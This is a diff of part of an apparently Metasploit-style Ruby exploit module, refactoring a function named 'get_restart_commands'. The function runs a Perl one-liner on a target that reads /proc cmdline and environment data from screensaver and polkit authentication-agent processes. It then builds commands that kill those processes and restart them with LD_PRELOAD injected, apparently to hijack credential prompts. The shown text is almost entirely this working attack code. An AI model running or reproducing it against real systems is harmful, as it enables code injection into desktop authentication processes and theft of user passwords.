@@ -109,29 +109,44 @@ def exploit
109
109
end
110
110
111
111
def get_restart_commands
112
- text_output = cmd_exec ( 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";$/=undef;for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'' ) . gsub ( "\r " , "" )
112
+ get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
113
+ get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
114
+ get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
115
+ get_cmd_lines << '$/=undef;'
116
+ get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
117
+
118
+ text_output = cmd_exec ( get_cmd_lines ) . gsub ( "\r " , '' )
113
119
vprint_status ( text_output )
120
+
114
121
lines = text_output . split ( "\n " )
115
- process_restart_commands = [ ]
122
+
123
+ restart_commands = [ ]
116
124
i = 0
117
- while ( i < lines . length - 3 )
125
+ while i < lines . length - 3
118
126
m = lines [ i ] . match ( /^PID:(\d +)/ )
127
+
119
128
if m
120
129
pid = m [ 1 ]
121
130
vprint_status ( "PID=#{ pid } " )
122
131
print_status ( "Found process: " + lines [ i +1 ] )
132
+
123
133
exe = lines [ i +1 ] . match ( /^EXE:(\S +)$/ ) [ 1 ]
124
134
vprint_status ( "exe=#{ exe } " )
135
+
125
136
cmdline = [ lines [ i +2 ] . match ( /^cmdline:(\w +)$/ ) [ 1 ] ] . pack ( "H*" ) . split ( "\x00 " )
126
137
vprint_status ( "CMDLINE=" + cmdline . join ( " XXX " ) )
138
+
127
139
env = lines [ i +3 ] . match ( /^environ:(\w +)$/ ) [ 1 ]
128
140
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline . map { |x | '"' + x + '"' } . join ( ", " ) + '\'' ;
141
+
129
142
vprint_status ( "RESTART: #{ restart_command } " )
130
- process_restart_commands . push ( restart_command )
143
+ restart_commands . push ( restart_command )
131
144
end
145
+
132
146
i +=1
133
147
end
134
- return process_restart_commands
148
+
149
+ restart_commands
135
150
end
136
151
137
152
def c_code ( exe_file )
0 commit comments